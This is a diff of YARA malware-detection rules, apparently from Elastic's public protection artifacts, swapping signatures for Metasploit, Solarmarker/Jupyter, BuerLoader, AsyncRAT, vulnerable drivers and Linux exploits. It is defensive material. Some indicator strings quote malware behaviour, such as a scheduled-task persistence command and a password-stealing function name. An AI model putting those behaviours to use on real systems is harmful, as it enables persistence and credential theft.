+		description = "Detects Windows Trojan Metasploit (Windows.Trojan.Metasploit)"
 		author = "Elastic Security"
-		id = "aeaeb5cf-2683-4a88-b736-4b8873d92fc5"
-		date = "2024-05-22"
-		modified = "2024-06-12"
+		id = "46e1c247-1ebb-434f-835f-faf421b35169"
+		date = "2023-05-10"
+		modified = "2023-06-13"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L3384-L3402"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "f57d955d485904f0c729acff9db1de9cb42f32af993393d58538f07fa273b431"
-		logic_hash = "640966296bad70234e0fe7b6f87b92fcf4fc111189d307d44f32e926785f76cb"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Metasploit.yar#L311-L330"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "ef70e1faa3b1f40d92b0a161c96e13c96c43ec6651e7c87ee3977ed07b950bab"
+		logic_hash = "760a4e28e312a7d744208dc833ffad8d139ce7c536b407625a7fb0dff5ddb1d1"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE, MEMORY"
-		fingerprint = "f6d32006747b083632f551c8ca182b6b4d67a8f130a118e61b0dd2f35d7d8477"
-		severity = 50
+		fingerprint = "6cd37d32976add38d7165f8088f38f4854b59302d6adf20db5c46cd3e8c7d9e7"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 55 8B EC 8B 4D 08 33 C0 66 39 01 74 0B 8D 49 00 40 66 83 3C 41 00 75 F8 8D 04 45 02 00 00 00 50 FF 75 0C 51 ?? ?? ?? ?? ?? 83 C4 0C 5D C3 CC CC 55 8B EC 6A 00 FF 75 08 }
+		$a1 = { 73 74 64 61 70 69 5F 66 73 5F 66 69 6C 65 }
+		$a2 = { 85 D2 74 0E 8B F3 2B 75 F8 8A 01 88 04 0E 41 4A 75 F7 0F B7 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Generic_Threat_C8424507 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Metasploit_B62Aac1E : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
-		author = "Elastic Security"
-		id = "c8424507-34e1-4649-a4e4-3e0a0f62dfb0"
-		date = "2024-05-22"
-		modified = "2024-06-12"
+		description = "Detects Windows Trojan Metasploit (Windows.Trojan.Metasploit)"
+		author = "Elastic Security"
+		id = "b62aac1e-2ce8-4803-90ee-138b509e814d"
+		date = "2023-05-10"
+		modified = "2023-06-13"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L3404-L3423"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "d556b02733385b823cfe4db7e562e90aa520e2e6fb00fceb76cc0a6a1ff47692"
-		logic_hash = "78d56257cb6e1d67f9343ee30b844fe20138e27ca3b6312a07112e5dbb797851"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Metasploit.yar#L332-L351"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "af9af81f7e46217330b447900f80c9ce38171655becb3b63e51f913b95c71e70"
+		logic_hash = "3ef6b7fb258b060ae00b060dbf9b07620f8cda0d9a827985bbb3ed9617969ef6"
 		score = 75
-		quality = 71
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "8dfb14903b32c118492ae7e0aab9cf634c58ea93fcbc7759615209f61b3b3d6b"
-		severity = 50
+		fingerprint = "58340ea67e2544d22adba3317350150c61c84fba1d16c7c9f8d0c626c3421296"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 78 75 73 65 68 6F 62 69 6D 6F 7A 61 63 6F 67 6F 6A 69 68 6F 67 69 76 6F }
-		$a2 = { 62 65 6D 69 74 69 76 65 67 69 77 6F 6D 65 7A 75 76 65 62 61 67 }
+		$a1 = { 42 3C 8B AC 10 88 00 00 00 44 8B 54 15 20 44 8B 5C 15 24 4C }
+		$a2 = { CB 4D 85 D2 74 10 41 8A 00 4D 03 C3 88 02 49 03 D3 4D 2B D3 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Generic_Threat_9Af87Ddb : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Metasploit_47F5D54A : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Windows Trojan Metasploit (Windows.Trojan.Metasploit)"
 		author = "Elastic Security"
-		id = "9af87ddb-c3ed-44a5-b1a1-984b6f8a6065"
-		date = "2024-05-23"
-		modified = "2024-06-12"
+		id = "47f5d54a-2578-4bbd-b157-8b225f6d34b3"
+		date = "2023-11-13"
+		modified = "2024-01-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L3425-L3443"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "b1fbc11744e21dc08599412887a3a966572614ce25ccd3c8c98f04bcbdda3898"
-		logic_hash = "99174c5740324d7704a5c6ae924254f9b5f241c97901dfdb771fc176a76e4a30"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Metasploit.yar#L353-L372"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "bc3754cf4a04491a7ad7a75f69dd3bb2ddf0d8592ce078b740d7c9c7bc85a7e1"
+		logic_hash = "be080d0aae457348c4a02c204507a8cb14d1728d1bc50d7cf12b577aa06daf9f"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "1505b6299961c729077ffd90a4c7ed3180f55329952841fe7045056ea2919de8"
-		severity = 50
+		fingerprint = "b6dbc1b273bc9a328d5c437d11db23e8f1d3bf764bb624aa4f552c14b3dc5260"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 28 00 00 0A 28 2C 00 00 06 11 06 17 D6 13 06 11 06 11 07 8E B7 32 98 06 17 D6 0A 20 E8 03 00 00 28 21 00 00 0A 7E 0F 00 00 04 3A 74 FF FF FF 2A 00 1B 30 04 00 96 00 00 00 1F 00 00 11 03 39 88 }
+		$a32 = { 89 45 F8 FF 15 [11] 8B D8 85 DB 74 76 6A 00 6A 04 6A 00 FF 35 [4] 6A 00 6A 00 FF 15 }
+		$a64 = { 48 89 7C 24 48 FF 15 [4] 33 D2 44 8B C0 B9 40 00 10 00 FF 15 [4] 48 8B F8 48 85 C0 74 55 48 8B 15 [10] 4C 8B C0 48 8B CB 48 C7 44 24 20 }
 
 	condition:
-		all of them
+		any of them
 }
-rule ELASTIC_Windows_Generic_Threat_D7B57912 : FILE MEMORY
+rule ELASTIC_Windows_Vulndriver_Directio_7Bea6C8F : FILE
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Windows Vulndriver Directio (Windows.VulnDriver.DirectIo)"
 		author = "Elastic Security"
-		id = "d7b57912-02b4-421a-8f93-9e8371314e68"
-		date = "2024-05-23"
-		modified = "2024-06-12"
+		id = "7bea6c8f-7006-4994-be21-614e3cf1ec76"
+		date = "2022-04-04"
+		modified = "2022-04-04"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L3445-L3463"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "0906599be152dd598c7f540498c44cc38efe9ea976731da05137ee6520288fe4"
-		logic_hash = "a774e3030d81e29805a9784cfbbc0b69c4fedebe0daa25e403777e1f46f9094f"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_VulnDriver_DirectIo.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "1dadd707c55413a16320dc70d2ca7784b94c6658331a753b3424ae696c5d93ea"
+		logic_hash = "bc87ede24c688565258859287141ddffb3bcfb0cc6d4fcbc08827c48bb897580"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "36a3fecc918cd891d9c779f7ff54019908ba190853739c8059adb84233643a1c"
+		tags = "FILE"
+		fingerprint = "6ad4cca6b8345825ef706d2e933508caf047a7d15a7f5b2f8d3d8a6f7c24b93d"
 		severity = 50
 		arch_context = "x86"
-		scan_context = "file, memory"
+		scan_context = "file"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 55 8B EC 83 C4 B8 53 56 8B DA 89 45 FC 8D 45 FC ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 64 FF 30 64 89 20 8B C3 ?? ?? ?? ?? ?? 6A 00 6A 00 8D 45 F0 50 8B 45 FC }
+		$str1 = "\\DirectIo.pdb"
 
 	condition:
-		all of them
+		int16 ( uint32(0x3C)+0x5c)==0x0001 and $str1
 }
-rule ELASTIC_Windows_Generic_Threat_23D33B48 : FILE MEMORY
+rule ELASTIC_Windows_Vulndriver_Directio_Abe8Bfa6 : FILE
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Windows Vulndriver Directio (Windows.VulnDriver.DirectIo)"
 		author = "Elastic Security"
-		id = "23d33b48-00f6-487f-a3e5-f41603fc982e"
-		date = "2024-06-05"
-		modified = "2024-06-12"
+		id = "abe8bfa6-0b51-4224-a7fc-4249e34ac0a2"
+		date = "2022-04-04"
+		modified = "2022-04-04"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L3465-L3483"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "acbc22df07888498ae6f52f5458e3fb8e0682e443a8c2bc97177a0320b4e2098"
-		logic_hash = "c9fb93bb74e4d45197d0da5b641860738a42a583b15cc098e86ea79bb8690bf7"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_VulnDriver_DirectIo.yar#L21-L39"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "d84e3e250a86227c64a96f6d5ac2b447674ba93d399160850acb2339da43eae5"
+		logic_hash = "8548e64e091c0e9e53316662d3dd91eca605c260f391d752ad40253f225571ed"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "7a25301a1297337810240e8880febe525726c9b79a4a4bd81b1f856865097995"
+		tags = "FILE"
+		fingerprint = "f572092a61c4b7f107c397deb6eb9e04d56a0c74ba0a17cc218e33d17e909f18"
 		severity = 50
 		arch_context = "x86"
-		scan_context = "file, memory"
+		scan_context = "file"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 55 8B EC 51 83 7A 14 10 8B C2 53 56 57 8B F1 72 02 8B 02 83 7E 14 10 72 02 8B 0E 8B 5A 10 8D 56 10 8B 3A 53 50 89 55 FC 8B D7 51 ?? ?? ?? ?? ?? 8B D0 83 C4 0C 83 FA FF 74 30 3B FA 72 33 8B C7 }
+		$str1 = "\\DirectIo64.pdb"
 
 	condition:
-		all of them
+		int16 ( uint32(0x3C)+0x5c)==0x0001 and $str1
 }
-rule ELASTIC_Windows_Generic_Threat_4B0B73Ce : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Jupyter_56152E31 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Windows Trojan Jupyter (Windows.Trojan.Jupyter)"
 		author = "Elastic Security"
-		id = "4b0b73ce-960d-40ce-ae85-5cf38d949f45"
-		date = "2024-06-05"
-		modified = "2024-06-12"
+		id = "56152e31-77c6-49fa-bbc5-c3630f11e633"
+		date = "2021-07-22"
+		modified = "2021-08-23"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L3485-L3503"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "236fc00cd7c75f70904239935ab90f51b03ff347798f56cec1bdd73a286b24c1"
-		logic_hash = "d53923df612dd7fe0b1b2c94c1c5d747b08723df129089326ec27c5049769cef"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Jupyter.yar#L1-L22"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "ce486097ad2491aba8b1c120f6d0aa23eaf59cf698b57d2113faab696d03c601"
+		logic_hash = "7b32e9caca744f4f6b48aefa5fda111e6b7ac81a62dd1fb8873d2c800ac3c42b"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "11c544f9f3a51ffcd361d6558754a64a8a38f3ce9385038880ab58c99769db88"
-		severity = 50
+		fingerprint = "9cccc2e3d4cfe9ff090d02b143fa837f4da0c229426435b4e097f902e8c5fb01"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 55 8B EC 51 53 56 57 8B 7D 08 83 7F 18 00 C6 45 FF C9 74 54 ?? ?? ?? ?? ?? ?? 8D 9B 00 00 00 00 33 F6 83 7F 18 00 74 40 6A 0A FF D3 46 81 FE E8 03 00 00 7C ED 8B 07 8B 50 08 6A 01 8D 4D FF 51 }
+		$a1 = "%appdata%\\solarmarker.dat" ascii fullword
+		$a2 = "\\AppData\\Roaming\\solarmarker.dat" wide fullword
+		$b1 = "steal_passwords" ascii fullword
+		$b2 = "jupyter" ascii fullword
 
 	condition:
-		all of them
+		1 of ($a*) or 2 of ($b*)
 }
-rule ELASTIC_Windows_Generic_Threat_1F2E969C : FILE MEMORY
+rule ELASTIC_Windows_Vulndriver_Winio_C9Cc6D00 : FILE
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Windows Vulndriver Winio (Windows.VulnDriver.WinIo)"
 		author = "Elastic Security"
-		id = "1f2e969c-5d90-4bab-a06a-9cccb1946251"
-		date = "2024-06-05"
-		modified = "2024-06-12"
+		id = "c9cc6d00-b1ed-4bab-b0f7-4f0d6c03bf08"
+		date = "2022-04-04"
+		modified = "2022-04-04"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L3505-L3523"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "7def75df729ed66511fbe91eadf15bc69a03618e78c48e27c35497db2a6a97ae"
-		logic_hash = "7d984a902f9bf40c9b49da89aba9249f80b41b24ca1cdb6189f541b40ef41742"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_VulnDriver_WinIo.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "e1980c6592e6d2d92c1a65acad8f1071b6a404097bb6fcce494f3c8ac31385cf"
+		logic_hash = "4b6a78c2c807cf1f569ae9bc275d42d9c895efba7a2d64fec0652e3cb163d553"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "e7c872f2422fe54367900d69c9bb94d86db2bf001cbbe00ba6c801fb3d1e610e"
+		tags = "FILE"
+		fingerprint = "d9050466a2894b63ae86ec8888046efb49053edcc20287b9f17a4e6340a9cf92"
 		severity = 50
 		arch_context = "x86"
-		scan_context = "file, memory"
+		scan_context = "file"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 55 8B EC 51 53 8B 5A 10 56 8B F1 57 6A 78 89 75 FC C7 46 10 00 00 00 00 C7 46 14 0F 00 00 00 53 89 75 FC C6 06 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 33 C9 33 C0 89 7D FC 85 DB 7E 39 0F 1F 40 00 }
+		$str1 = "\\WinioSys.pdb"
 
 	condition:
-		all of them
+		int16 ( uint32(0x3C)+0x5c)==0x0001 and $str1
 }
-rule ELASTIC_Linux_Exploit_Ramen_01B205Eb : FILE MEMORY
+rule ELASTIC_Windows_Vulndriver_Winio_B0F21A70 : FILE
 {
 	meta:
-		description = "Detects Linux Exploit Ramen (Linux.Exploit.Ramen)"
+		description = "Detects Windows Vulndriver Winio (Windows.VulnDriver.WinIo)"
 		author = "Elastic Security"
-		id = "01b205eb-4718-4ffd-9fdc-b9de567c4603"
-		date = "2021-04-06"
-		modified = "2021-09-16"
+		id = "b0f21a70-b563-4b18-8ef9-73885125e88b"
+		date = "2022-04-04"
+		modified = "2022-04-04"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Exploit_Ramen.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "c0b6303300f38013840abe17abe192db6a99ace78c83bc7ef705f5c568bc98fd"
-		logic_hash = "e477e93434db9e650f159995f2cb754394f3187dc341d2ea4c2466924e19a8a6"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_VulnDriver_WinIo.yar#L21-L39"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "9fc29480407e5179aa8ea41682409b4ea33f1a42026277613d6484e5419de374"
+		logic_hash = "c82d95e805898f9a9a1ffccb483e506df0a53dc420068314e7c724e4947f3572"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "a39afcf7cec82dc511fd39b4a019ef161250afe7cb0880e488badb56d021cc9f"
-		severity = 100
+		tags = "FILE"
+		fingerprint = "00d8142a30e9815f8e4c53443221fc1c3882c8b6f68e77a8ed7ffe4fc8852488"
+		severity = 50
 		arch_context = "x86"
-		scan_context = "file, memory"
+		scan_context = "file"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 00 31 C0 31 DB 31 C9 B0 46 CD 80 31 C0 31 DB 43 }
+		$str1 = "IOCTL_WINIO_WRITEMSR"
 
 	condition:
-		all of them
+		int16 ( uint32(0x3C)+0x5c)==0x0001 and $str1
 }
-rule ELASTIC_Windows_Trojan_Asyncrat_11A11Ba1 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Buerloader_C8A60F46 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Asyncrat (Windows.Trojan.Asyncrat)"
+		description = "Detects Windows Trojan Buerloader (Windows.Trojan.Buerloader)"
 		author = "Elastic Security"
-		id = "11a11ba1-c178-4415-9c09-45030b500f50"
-		date = "2021-08-05"
+		id = "c8a60f46-d49a-4566-845b-675fb55c201c"
+		date = "2021-08-16"
 		modified = "2021-10-04"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Asyncrat.yar#L1-L24"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "fe09cd1d13b87c5e970d3cbc1ebc02b1523c0a939f961fc02c1395707af1c6d1"
-		logic_hash = "c6c4ce9ccf01c280be6c25c0c82c34b601626bc200b84d3e77b08be473335d3d"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Buerloader.yar#L1-L24"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "3abed86f46c8be754239f8c878f035efaae91c33b8eb8818c5bbed98c4d9a3ac"
+		logic_hash = "d11b117efc10547e77ce8979f8a1d42f34937101e58a0e36228baa37cd30d2aa"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE, MEMORY"
-		fingerprint = "715ede969076cd413cebdfcf0cdda44e3a6feb5343558f18e656f740883b41b8"
+		fingerprint = "346233f4b1306eb574b4063d3b47f90e65a81ad7fe1c74d2a68640d99d456c4c"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -96538,68 +100947,61 @@ rule ELASTIC_Windows_Trojan_Asyncrat_11A11Ba1 : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$a1 = "/c schtasks /create /f /sc onlogon /rl highest /tn \"" wide fullword
-		$a2 = "Stub.exe" wide fullword
-		$a3 = "get_ActivatePong" ascii fullword
-		$a4 = "vmware" wide fullword
-		$a5 = "\\nuR\\noisreVtnerruC\\swodniW\\tfosorciM\\erawtfoS" wide fullword
-		$a6 = "get_SslClient" ascii fullword
+		$a1 = "User-Agent: Host:  HTTP/1.1" ascii fullword
+		$a2 = "ServerHelloPayloadrandom" ascii fullword
+		$a3 = "Bad JSON in payload" ascii fullword
+		$a4 = { 7B 22 68 65 6C 6C 6F 22 3A 20 22 77 6F 72 6C 64 22 7D 48 54 54 50 2F 31 2E 31 20 33 30 31 20 46 6F 75 6E 64 }
+		$a5 = "PayloadU24UnknownExtensiontyp" ascii fullword
+		$a6 = " NTDLL.DLL" wide fullword
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Hacktool_Ringq_B9715540 : FILE MEMORY
+rule ELASTIC_Multi_Attacksimulation_Blindspot_D93F54C5 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Hacktool Ringq (Windows.Hacktool.RingQ)"
+		description = "Detects Multi Attacksimulation Blindspot (Multi.AttackSimulation.Blindspot)"
 		author = "Elastic Security"
-		id = "b9715540-77ae-4723-a29e-d4d88d626982"
-		date = "2024-06-28"
-		modified = "2024-07-26"
+		id = "d93f54c5-6574-4999-a3c0-39ef688b28dc"
+		date = "2022-05-23"
+		modified = "2022-08-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Hacktool_RingQ.yar#L1-L25"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "450e01c32618cd4e4a327147896352ed1b34dca9fb28389dba450acf95f8b735"
-		logic_hash = "80d693c43a7026d28121e035ae875689512fd46d7f06c3f469b83d6fe707f36b"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Multi_AttackSimulation_Blindspot.yar#L1-L18"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "41984a0ad20ab21186252bb2f3f68604d2cbeea0e1ce22895dd163f7acbf2ca1"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "f2a2d97b31cb648a6515dbf02a885a6afd434f38ed555c1e30296b7eb4550438"
-		severity = 100
-		arch_context = "x86"
+		fingerprint = "4ec38f841aa4dfe32b1f6b6cd2e361c7298839ef1e983061cb90827135f34a58"
+		severity = 1
+		arch_context = "x86, arm64"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "multi"
 
 	strings:
-		$a1 = "Loading Dir main.txt ..." ascii fullword
-		$a2 = "Loading LocalFile ..." ascii fullword
-		$a3 = "No Find main,txt and StringTable ..." ascii fullword
-		$a4 = "https://github.com/T4y1oR/RingQ"
-		$a5 = "RingQ :)" ascii fullword
-		$a6 = "1. Create.exe fscan.exe" ascii fullword
-		$a7 = "C:/Users/username/Documents/file.txt" ascii fullword
+		$a = "\\\\.\\pipe\\blindspot-%d."
 
 	condition:
-		2 of them
+		all of them
 }
-rule ELASTIC_Linux_Exploit_CVE_2019_13272_583Dd2C0 : FILE MEMORY CVE_2019_13272
+rule ELASTIC_Linux_Trojan_Roopre_B6B9E71D : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Exploit Cve 2019 13272 (Linux.Exploit.CVE-2019-13272)"
+		description = "Detects Linux Trojan Roopre (Linux.Trojan.Roopre)"
 		author = "Elastic Security"
-		id = "583dd2c0-9e94-4d38-bdff-e6c3b7c7d594"
+		id = "b6b9e71d-7f1c-4827-b659-f9dad5667d69"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Exploit_CVE_2019_13272.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "3191b9473f3e59f55e062e6bdcfe61b88974602c36477bfa6855ccd92ff7ca83"
-		logic_hash = "0b25f0d979d2fc3f7d646a9b3eccf2a293b41181b499c790d3e99515fcd09603"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Roopre.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "36ae2bf773135fdb0ead7fbbd46f90fd41d6f973569de1941c8723158fc6cfcc"
+		logic_hash = "32294e476a014a919d2d738bdc940a7fc5f91e1b13c005f164a5b6bf84eb2635"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY, CVE-2019-13272"
-		fingerprint = "afc96d47ad2564f69d2fb9a39e882bfc5b4879f0a8abbf36d5e3af6a52dccd63"
+		tags = "FILE, MEMORY"
+		fingerprint = "1a87cccd06b99e0375ffef17d4b3c5fd8957013ab8de7507e9b8d1174573a6cf"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -96607,59 +101009,57 @@ rule ELASTIC_Linux_Exploit_CVE_2019_13272_583Dd2C0 : FILE MEMORY CVE_2019_13272
 		os = "linux"
 
 	strings:
-		$a = { 48 89 85 40 FF FF FF 48 8B 45 D8 48 83 C0 20 48 89 85 38 FF }
+		$a = { 54 24 08 48 C7 C6 18 FC FF FF 49 8B 4A 08 48 89 C8 48 99 48 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Vulndriver_Cpuz_A53D1446 : FILE
+rule ELASTIC_Linux_Trojan_Roopre_05F7F237 : FILE MEMORY
 {
 	meta:
-		description = "Name: cpuz.sys, Version: 1.0.4.3"
+		description = "Detects Linux Trojan Roopre (Linux.Trojan.Roopre)"
 		author = "Elastic Security"
-		id = "a53d1446-ebf7-44f3-843c-2ea5f043e168"
-		date = "2022-04-07"
-		modified = "2022-04-07"
+		id = "05f7f237-dcc5-4f0d-8baa-290137eea9c5"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_VulnDriver_Cpuz.yar#L1-L21"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "8c95d28270a4a314299cf50f05dcbe63033b2a555195d2ad2f678e09e00393e6"
-		logic_hash = "37da20f5fe1377fe85594055dc811424f52e53a9d77060c6784c2e4d1279e26f"
